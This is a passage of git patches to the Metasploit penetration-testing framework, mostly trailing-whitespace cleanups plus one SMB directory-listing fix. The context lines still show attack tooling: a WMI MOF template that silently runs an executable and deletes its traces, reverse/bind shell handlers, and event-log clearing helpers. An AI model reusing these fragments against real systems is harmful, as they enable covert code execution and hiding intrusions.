"na#{self.remote_file.length+1}a#{self.mode.length+1}" @@ -231,7 +231,7 @@ class Client # # Methods for upload # - + def wrq_packet req = [OpWrite, self.remote_file, self.mode] packstr = "na#{self.remote_file.length+1}a#{self.mode.length+1}" diff --git a/lib/rex/proto/tftp/server.rb b/lib/rex/proto/tftp/server.rb index 89af4703cb..c01d18f9a9 100644 --- a/lib/rex/proto/tftp/server.rb +++ b/lib/rex/proto/tftp/server.rb @@ -173,7 +173,7 @@ class Server attr_accessor :listen_host, :listen_port, :context attr_accessor :sock, :files, :transfers, :uploaded attr_accessor :thread - + attr_accessor :incoming_file_hook protected @@ -189,9 +189,9 @@ protected def save_output(tr) self.uploaded << tr[:file] - + return incoming_file_hook.call(tr) if incoming_file_hook - + if @output_dir fn = tr[:file][:name].split(File::SEPARATOR)[-1] if fn diff --git a/lib/rex/registry/lfkey.rb b/lib/rex/registry/lfkey.rb index 29916ad179..78009c6cee 100644 --- a/lib/rex/registry/lfkey.rb +++ b/lib/rex/registry/lfkey.rb @@ -24,7 +24,7 @@ class LFBlock hash_offset = offset + 0x04 1.upto(@number_of_keys) do |h| - + hash = LFHashRecord.new(hive_blob, hash_offset) @hash_records << hash @@ -39,7 +39,7 @@ end class LFHashRecord attr_accessor :nodekey_offset, :nodekey_name_verification - + def initialize(hive_blob, offset) @nodekey_offset = hive_blob[offset, 4].unpack('l').first @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s diff --git a/lib/rex/ropbuilder/rop.rb b/lib/rex/ropbuilder/rop.rb index aee2c11d26..15f34535a4 100644 --- a/lib/rex/ropbuilder/rop.rb +++ b/lib/rex/ropbuilder/rop.rb @@ -217,7 +217,7 @@ class RopCollect < RopBase # get raw bytes buf = @disassembler.read_raw_data(addr, x + xtra) - + # make sure disassembling forward leads to our instruction next if not ends_with_addr(buf, addr, ea) diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index 8e37cf3719..7a93bbc9be 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -461,14 +461,14 @@ module Socket def self.eth_aton(mac) mac.split(":").map{|c| c.to_i(16) }.pack("C*") end - + # # Converts a 6-byte binary string into a colon-delimited MAC address # def self.eth_ntoa(bin) bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase end - + # # Converts a CIDR subnet into an array (base, bcast) # diff --git a/lib/rex/socket/comm.rb b/lib/rex/socket/comm.rb index c2ed353517..9be12ad06f 100644 --- a/lib/rex/socket/comm.rb +++ b/lib/rex/socket/comm.rb @@ -16,7 +16,7 @@ module Socket module Comm ### - # + # # This mixin provides stubs for event notification handlers that can be # registered with a Comm factory to be called when various events occur, # such as socket instantiation. diff --git a/lib/rex/socket/subnet_walker.rb b/lib/rex/socket/subnet_walker.rb index b781f08234..c90c3e7f33 100644 --- a/lib/rex/socket/subnet_walker.rb +++ b/lib/rex/socket/subnet_walker.rb @@ -48,7 +48,7 @@ class SubnetWalker end self.curr_ip_idx += 1 - + self.curr_ip.join('.') end diff --git a/lib/rex/struct2/c_struct.rb b/lib/rex/struct2/c_struct.rb index 444b992aa0..fa767a4fa3 100644 --- a/lib/rex/struct2/c_struct.rb +++ b/lib/rex/struct2/c_struct.rb @@ -163,12 +163,12 @@ class CStruct < SStruct return super(index, *other) end end - + # Produce a list of field names def keys @name_table end - + # Iterate through all fields and values def each_pair(&block) @name_table.each do |k| diff --git a/lib/rex/struct2/constant.rb b/lib/rex/struct2/constant.rb index 2dfdc7ec9a..8ea5538e87 100644 --- a/lib/rex/struct2/constant.rb +++ b/lib/rex/struct2/constant.rb @@ -12,7 +12,7 @@ module Struct2 # sized arrays), and probably not a ton more. class Constant - + require 'rex/struct2/element' include Rex::Struct2::Element diff --git a/lib/rex/struct2/generic.rb b/lib/rex/struct2/generic.rb index 217f30e5af..572f025e07 100644 --- a/lib/rex/struct2/generic.rb +++ b/lib/rex/struct2/generic.rb @@ -6,7 +6,7 @@ module Rex module Struct2 class Generic - + require 'rex/struct2/element' include Rex::Struct2::Element @@ -40,7 +40,7 @@ class Generic # example if it is nil. That should only happen for a user # error so that's what I want it to do... string = [ @value ].pack(@packspec) - + if restraint && restraint.max return string.slice(0, restraint.max) else diff --git a/lib/rex/struct2/s_string.rb b/lib/rex/struct2/s_string.rb index 92e8b7605c..199741f36e 100644 --- a/lib/rex/struct2/s_string.rb +++ b/lib/rex/struct2/s_string.rb @@ -6,7 +6,7 @@ module Rex module Struct2 class SString - + require 'rex/struct2/element' require 'rex/struct2/constant' include Rex::Struct2::Element diff --git a/lib/rex/struct2/s_struct.rb b/lib/rex/struct2/s_struct.rb index 0a367c9823..1b4cefb1aa 100644 --- a/lib/rex/struct2/s_struct.rb +++ b/lib/rex/struct2/s_struct.rb @@ -50,7 +50,7 @@ class SStruct elements.each do |e| buff << e.to_s end - + if restraint && restraint.max return buff.slice(0, restraint.max) else diff --git a/lib/rex/sync/thread_safe.rb b/lib/rex/sync/thread_safe.rb index 886cb5f761..4c6cf42158 100644 --- a/lib/rex/sync/thread_safe.rb +++ b/lib/rex/sync/thread_safe.rb @@ -4,7 +4,7 @@ require 'timeout' module Rex ### -# +# # This module provides a set of methods for performing various blocking # operations in a manner that is compatible with ruby style threads. # diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index 5a8b25b90f..b408ffda1e 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -90,9 +90,9 @@ module Color # # Colorize if this shell supports it # - def do_colorize(*color) + def do_colorize(*color) supports_color?() ? ansi(*color) : '' end -end +end end end end diff --git a/lib/rex/ui/text/input/socket.rb b/lib/rex/ui/text/input/socket.rb index 82e8469b5e..37cf6f24c4 100644 --- a/lib/rex/ui/text/input/socket.rb +++ b/lib/rex/ui/text/input/socket.rb @@ -34,29 +34,29 @@ class Input::Socket < Rex::Ui::Text::Input # Wait for a line of input to be read from a socket. # def gets - + # Initialize the line buffer line = '' - + # Read data one byte at a time until we see a LF while (true) break if line.include?("\n") - + # Read another character of input char = @sock.getc if char.nil? @sock.close return end - + # Telnet sends 0x04 as EOF if (char == 4) @sock.write("[*] Caught ^D, closing the socket...\n") @sock.close return end - + # Append this character to the string line << char @@ -66,13 +66,13 @@ class Input::Socket < Rex::Ui::Text::Input @sock.write("[*] Caught ^C, closing the socket...\n") @sock.close return - + when /\xff\xed\xff\xfd\x06/ @sock.write("[*] Caught ^Z\n") - return + return end end - + return line end diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index 8248126dcd..ff41196550 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -6,7 +6,7 @@ module Rex module Zip -# +# # An Entry represents a logical file or directory to be stored in an Archive # class Entry From db676f1a88d22ad59e26bb4da79037b9849321ec Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 18:20:08 -0600 Subject: [PATCH 340/341] Whitespace at EOL --- lib/msf/base/config.rb | 8 +++---- lib/msf/base/simple/auxiliary.rb | 2 +- lib/msf/base/simple/framework.rb | 2 +- lib/msf/core.rb | 2 +- lib/msf/core/data_store.rb | 2 +- lib/msf/core/db_export.rb | 26 +++++++++++----------- lib/msf/core/db_manager.rb | 10 ++++----- lib/msf/core/encoded_payload.rb | 4 ++-- lib/msf/core/exploit.rb | 4 ++-- lib/msf/core/exploit/capture.rb | 4 ++-- lib/msf/core/exploit/http/server.rb | 4 ++-- lib/msf/core/exploit/mssql_sqli.rb | 2 +- lib/msf/core/exploit/wbemexec.rb | 6 ++--- lib/msf/core/exploit_driver.rb | 8 +++---- lib/msf/core/framework.rb | 2 +- lib/msf/core/handler/bind_tcp.rb | 10 ++++----- lib/msf/core/handler/reverse_tcp.rb | 8 +++---- lib/msf/core/module.rb | 4 ++-- lib/msf/core/patches/active_record.rb | 12 +++++----- lib/msf/core/post/common.rb | 2 +- lib/msf/core/post/windows/cli_parse.rb | 2 +- lib/msf/core/post/windows/eventlog.rb | 2 +- lib/msf/core/post/windows/powershell.rb | 4 ++-- lib/msf/core/post/windows/registry.rb | 2 +- lib/msf/core/post/windows/shadowcopy.rb | 8 +++---- lib/msf/core/post/windows/user_profiles.rb | 6 ++--- lib/msf/core/rpc/v10/service.rb | 2 +- lib/msf/core/session.rb | 12 +++++----- lib/msf/sanity.rb | 2 +- lib/msf/ui/banner.rb | 2 +- 30 files changed, 82 insertions(+), 82 deletions(-) diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 2d8c98acba..60f50f4a45 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -88,7 +88,7 @@ class Config < Hash def self.module_directory self.new.module_directory end - + # # Calls the instance method. # @@ -144,7 +144,7 @@ class Config < Hash def self.user_module_directory self.new.user_module_directory end - + # # Calls the instance method. # @@ -235,7 +235,7 @@ class Config < Hash def module_directory install_root + FileSep + self['ModuleDirectory'] end - + # # Returns the path that scripts can be loaded from. # @@ -284,7 +284,7 @@ class Config < Hash def user_module_directory config_directory + FileSep + "modules" end - + # # Returns the user-specific plugin base path # diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb index 1eada62e93..ed9d7dafbb 100644 --- a/lib/msf/base/simple/auxiliary.rb +++ b/lib/msf/base/simple/auxiliary.rb @@ -77,7 +77,7 @@ module Auxiliary Proc.new { |ctx_| self.job_cleanup_proc(ctx_) } ) # Propagate this back to the caller for console mgmt - omod.job_id = mod.job_id + omod.job_id = mod.job_id else self.job_run_proc(ctx) self.job_cleanup_proc(ctx) diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index c92153ab71..c8ac7ab49a 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -167,7 +167,7 @@ module Framework if (Msf::Config.module_directory) self.modules.add_module_path(Msf::Config.module_directory) end - + # Initialize the user module search path if (Msf::Config.user_module_directory) self.modules.add_module_path(Msf::Config.user_module_directory) diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 5cbaf19efa..21516099e7 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -41,7 +41,7 @@ require 'msf/core/session' require 'msf/core/session_manager' - + # Wrappers require 'msf/core/encoded_payload' diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 38b48c644e..73c38d73e9 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -288,7 +288,7 @@ class ModuleDataStore < DataStore val = super if val.nil? val end - + # # Was this entry actually set or just using its default # diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 8eafe84ac4..effa7ff813 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -376,17 +376,17 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") - + # Refs sub-elements report_file.write(" \n") m.refs.find(:all).each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -397,7 +397,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -408,7 +408,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -419,7 +419,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -429,7 +429,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -439,7 +439,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end end report_file.write(" \n") @@ -468,7 +468,7 @@ class Export el = create_xml_element(k,v) report_file.write(" #{el}\n") end - report_file.write(" \n") + report_file.write(" \n") end report_file.write(" \n") @@ -479,7 +479,7 @@ class Export d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") - end + end report_file.write(" \n") end report_file.write(" \n") @@ -516,7 +516,7 @@ class Export el = create_xml_element(k,v) report_file.write(" #{el}\n") end - + # References report_file.write(" \n") e.refs.each do |ref| @@ -534,7 +534,7 @@ class Export el = create_xml_element(k,v) report_file.write(" #{el}\n") end - report_file.write(" \n") + report_file.write(" \n") end report_file.write(" \n") @@ -547,7 +547,7 @@ class Export el = create_xml_element(k,v) report_file.write(" #{el}\n") end - report_file.write(" \n") + report_file.write(" \n") end report_file.write(" \n") diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 726eb682f7..5a916ef389 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -485,14 +485,14 @@ class DBManager m.targets.each_index do |i| bits << [ :target, { :index => i, :name => m.targets[i].name.to_s } ] - if m.targets[i].platform + if m.targets[i].platform m.targets[i].platform.platforms.each do |name| - bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ] - end - end + bits << [ :platform, { :name => name.to_s.split('::').last.downcase } ] + end + end if m.targets[i].arch bits << [ :arch, { :name => m.targets[i].arch.to_s } ] - end + end end if (m.default_target) diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index d5c481e7ce..2cdf6a66a1 100755 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -147,7 +147,7 @@ class EncodedPayload 'core', LEV_1) next end - + # Import the datastore from payload (and likely exploit by proxy) self.encoder.share_datastore(pinst.datastore) @@ -276,7 +276,7 @@ class EncodedPayload nops.each { |nopname, nopmod| # Create an instance of the nop module self.nop = nopmod.new - + # Propagate options from the payload and possibly exploit self.nop.share_datastore(pinst.datastore) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 6d2afc913d..e059d0999b 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -32,7 +32,7 @@ class Exploit < Msf::Module ## - # Exceptions + # Exceptions ## # Indicate that the exploit should abort because it has completed @@ -1292,7 +1292,7 @@ class Exploit < Msf::Module ## # Failure tracking ## - + def fail_with(reason,msg=nil) self.fail_reason = reason self.fail_detail = msg diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index dc12ddcb92..51fde88437 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -100,11 +100,11 @@ module Exploit::Capture self.capture = ::Pcap.open_offline(cap) else dev ||= ::Pcap.lookupdev - + unless RUBY_PLATFORM == "i386-mingw32" system("ifconfig", dev, "up") end - + self.capture = ::Pcap.open_live(dev, len, true, tim) if arp self.arp_capture = ::Pcap.open_live(dev, 512, true, tim) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 8cb75c490a..b8bdf3ca59 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -184,8 +184,8 @@ module Exploit::Remote::HttpServer uopts = { 'Proc' => Proc.new { |cli, req| self.cli = cli - ( self.respond_to?(:filter_request_uri) && - filter_request_uri(cli, req) + ( self.respond_to?(:filter_request_uri) && + filter_request_uri(cli, req) ) ? nil : on_request_uri(cli, req) }, 'Path' => resource_uri diff --git a/lib/msf/core/exploit/mssql_sqli.rb b/lib/msf/core/exploit/mssql_sqli.rb index 400dba11cc..62ec63fa22 100644 --- a/lib/msf/core/exploit/mssql_sqli.rb +++ b/lib/msf/core/exploit/mssql_sqli.rb @@ -137,7 +137,7 @@ module Exploit::Remote::MSSQL_SQLI # Issue a SQL query using the the SQL injection point # def mssql_query(sqla, doprint=false) - + if (doprint) print_status(sqla) end diff --git a/lib/msf/core/exploit/wbemexec.rb b/lib/msf/core/exploit/wbemexec.rb index 1961b8c1f3..660d29f45d 100644 --- a/lib/msf/core/exploit/wbemexec.rb +++ b/lib/msf/core/exploit/wbemexec.rb @@ -52,7 +52,7 @@ Instance of ActiveScriptEventConsumer as $cons Name = "ASEC"; ScriptingEngine = "JScript"; ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};"; - + }; Instance of ActiveScriptEventConsumer as $cons2 { @@ -64,14 +64,14 @@ instance of __EventFilter as $Filt { Name = "instfilt"; Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\""; - QueryLanguage = "WQL"; + QueryLanguage = "WQL"; }; instance of __EventFilter as $Filt2 { Name = "qndfilt"; Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\""; QueryLanguage = "WQL"; - + }; instance of __FilterToConsumerBinding as $bind { diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 6cb179e64b..be5be42b0e 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -204,7 +204,7 @@ protected # Launch the exploit exploit.exploit - + rescue ::Exception => e @@ -217,7 +217,7 @@ protected msg = "#{e}" unless e.class == Msf::Exploit::Failed msg = "#{e.class} #{e}" - end + end exploit.error = e @@ -231,7 +231,7 @@ protected when Msf::Exploit::Failed exploit.print_error("Exploit aborted due to failure: #{exploit.fail_reason}: #{msg}") - + # The caller should have already set exploit.fail_reason if exploit.fail_reason == Msf::Exploit::Failure::None exploit.fail_reason = Msf::Exploit::Failure::Unknown @@ -249,7 +249,7 @@ protected elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0) dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) else - + # Compare as a string since not all error classes may be loaded case msg when /access.denied|Login Failed/i # Covers SMB as well as some generic errors diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 99050a6cb5..941dcad94d 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -301,7 +301,7 @@ class FrameworkEventSubscriber # def session_event(name, session, opts={}) address = session.session_host - + if not (address and address.length > 0) elog("Session with no session_host/target_host/tunnel_peer") dlog("#{session.inspect}", LEV_3) diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index 297276288c..ba47410988 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -161,15 +161,15 @@ module BindTcp if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" return sock end - + socks = Rex::Socket::tcp_socket_pair() socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - + m = OpenSSL::Digest::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") - + Rex::ThreadFactory.spawn('AESEncryption', false) { c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') c1.encrypt @@ -183,7 +183,7 @@ module BindTcp end sock.close() } - + Rex::ThreadFactory.spawn('AESEncryption', false) { c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') c2.decrypt @@ -200,7 +200,7 @@ module BindTcp end socks[0].close() } - + return socks[1] end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 086a1b4b28..353d111af0 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -171,20 +171,20 @@ module ReverseTcp } end - + def wrap_aes_socket(sock) if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" return sock end - + socks = Rex::Socket::tcp_socket_pair() socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - + m = OpenSSL::Digest::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") - + Rex::ThreadFactory.spawn('AESEncryption', false) { c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') c1.encrypt diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 40581a6e32..a62a8c12be 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -391,7 +391,7 @@ class Module nil end - + # # Returns the current workspace # @@ -617,7 +617,7 @@ class Module def debugging? (datastore['DEBUG'] || '') =~ /^(1|t|y)/i end - + # # Indicates whether the module supports IPv6. This is true by default, # but certain modules require additional work to be compatible or are diff --git a/lib/msf/core/patches/active_record.rb b/lib/msf/core/patches/active_record.rb index 6e8fa74070..9376b81e59 100644 --- a/lib/msf/core/patches/active_record.rb +++ b/lib/msf/core/patches/active_record.rb @@ -7,7 +7,7 @@ class ConnectionPool # XXX: This fixes the logic around whether a connection allocated is "fresh" # AR incorrectly assumed that if any connection was established, it should # no longer free the allocated connection. - + # Check to see if there is an active thread connection def active_thread_connection?(with_id = current_connection_id) @reserved_connections.has_key?(with_id) @@ -77,12 +77,12 @@ class ConnectionPool raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it or the wait_timeout parameter" end end - end + end end - end - - - + end + + + end end end diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 3a763f6c4d..f923b29ee0 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -81,7 +81,7 @@ module Common end # - # Reports to the database that the host is a virtual machine and reports + # Reports to the database that the host is a virtual machine and reports # the type of virtual machine it is (e.g VirtualBox, VMware, Xen) # def report_vm(vm) diff --git a/lib/msf/core/post/windows/cli_parse.rb b/lib/msf/core/post/windows/cli_parse.rb index 108086ef73..419d2e3e81 100644 --- a/lib/msf/core/post/windows/cli_parse.rb +++ b/lib/msf/core/post/windows/cli_parse.rb @@ -14,7 +14,7 @@ module CliParse class ParseError < ArgumentError # - # Create a new ParseError object. Expects a method name, an error + # Create a new ParseError object. Expects a method name, an error # message, an error code, and the command that caused the error. # def initialize(method, einfo='', ecode=nil, clicmd=nil) diff --git a/lib/msf/core/post/windows/eventlog.rb b/lib/msf/core/post/windows/eventlog.rb index 6bbf0bc7e7..60c734fea1 100644 --- a/lib/msf/core/post/windows/eventlog.rb +++ b/lib/msf/core/post/windows/eventlog.rb @@ -20,7 +20,7 @@ module Eventlog end # - # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs + # Clears a given eventlog or all eventlogs if none is given. Returns an array of eventlogs # that where cleared. # def eventlog_clear(evt = "") diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 38b3909543..405b35e8f6 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -131,8 +131,8 @@ module Powershell # - # Powershell scripts that are longer than 8000 bytes are split into 8000 - # 8000 byte chunks and stored as environment variables. A new powershell + # Powershell scripts that are longer than 8000 bytes are split into 8000 + # 8000 byte chunks and stored as environment variables. A new powershell # script is built that will reassemble the chunks and execute the script. # Returns the reassembly script. # diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index bb77e8c9b2..c3f0af50dc 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -323,7 +323,7 @@ protected end # - # Enumerate the type and data stored in the registry value +valname+ in + # Enumerate the type and data stored in the registry value +valname+ in # +key+ # def shell_registry_getvalinfo(key, valname) diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index cfa76ec087..e5e1e5215f 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -13,7 +13,7 @@ module ShadowCopy include Msf::Post::Windows::Services # - # Get the device name for the shadow copy, which is used when accessing + # Get the device name for the shadow copy, which is used when accessing # files on the volume. # def get_vss_device(id) @@ -44,7 +44,7 @@ module ShadowCopy # # Get volume shadow storage parameters. - # + # def vss_get_storage storage={} storage['AllocatedSpace'] = vss_get_storage_param('AllocatedSpace') @@ -84,7 +84,7 @@ module ShadowCopy end # - # Return the value of the +param_name+ for the volume shadow copy + # Return the value of the +param_name+ for the volume shadow copy # specified by +id+ # def get_sc_param(id,param_name) @@ -94,7 +94,7 @@ module ShadowCopy end # - # Return the value of the shadowstorage parameter specified by + # Return the value of the shadowstorage parameter specified by # +param_name+ # def vss_get_storage_param(param_name) diff --git a/lib/msf/core/post/windows/user_profiles.rb b/lib/msf/core/post/windows/user_profiles.rb index 1a8c60f129..3f8b8485d8 100644 --- a/lib/msf/core/post/windows/user_profiles.rb +++ b/lib/msf/core/post/windows/user_profiles.rb @@ -11,8 +11,8 @@ module UserProfiles include Msf::Post::Windows::Accounts # - # Load the registry hive for each user on the machine and parse out the - # user profile information. Next, unload the hives we loaded and return + # Load the registry hive for each user on the machine and parse out the + # user profile information. Next, unload the hives we loaded and return # the user profiles. # def grab_user_profiles @@ -89,7 +89,7 @@ module UserProfiles end # - # Read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList to + # Read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList to # get a list of user profiles on the machine. # def read_profile_list diff --git a/lib/msf/core/rpc/v10/service.rb b/lib/msf/core/rpc/v10/service.rb index 3ff567ec67..b72b807d47 100644 --- a/lib/msf/core/rpc/v10/service.rb +++ b/lib/msf/core/rpc/v10/service.rb @@ -199,7 +199,7 @@ class Service def authenticate(token) stale = [] - + if not (token and token.kind_of?(::String)) return false end diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 4f3e025e73..0660f28f57 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -144,7 +144,7 @@ module Session # def tunnel_peer end - + # # Returns the host associated with the session # @@ -152,7 +152,7 @@ module Session # Prefer the overridden session host or target_host host = @session_host || self.target_host return host if host - + # Fallback to the tunnel_peer (contains port) peer = self.tunnel_peer return if not peer @@ -162,14 +162,14 @@ module Session bits.pop bits.join(':') end - + # # Override the host associated with this session # def session_host=(v) @session_host = v end - + # # Returns the port associated with the session # @@ -185,14 +185,14 @@ module Session port = bits.pop port.to_i end - + # # Override the host associated with this session # def session_port=(v) @session_port = v end - + # # Returns a pretty representation of the tunnel. # diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index 84d2bece5a..5af15c0f85 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -57,7 +57,7 @@ if(RUBY_PLATFORM == 'java') trap Signal::list['INT'] do Thread.main.raise Interrupt.new end - + s.close end diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index 5f53bef07e..acbd5bad24 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -34,7 +34,7 @@ module Banner base = File.expand_path(File.dirname(__FILE__)) pathname = File.join(base, "logos", fname) fdata = "<< Missing banner: #{fname} >>" - begin + begin raise ArgumentError unless File.readable?(pathname) raise ArgumentError unless File.stat(pathname).size < 4096 fdata = File.open(pathname) {|f| f.read f.stat.size} From 0a9b00e24c3bd14122b26c07c745cb1592a302a3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 21:20:46 -0600 Subject: [PATCH 341/341] Apparently missed part of mubix's original changes Used by auxiliary/admin/smb/list_directory --- lib/rex/proto/smb/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 72c35379fb..807713956e 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1884,7 +1884,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils name = resp_data[didx + 70 + 24, info[15]].sub!(/\x00+$/, '') files[name] = { - 'type' => (info[14] & 0x10) ? 'D' : 'F', + 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', 'attr' => info[14], 'info' => info }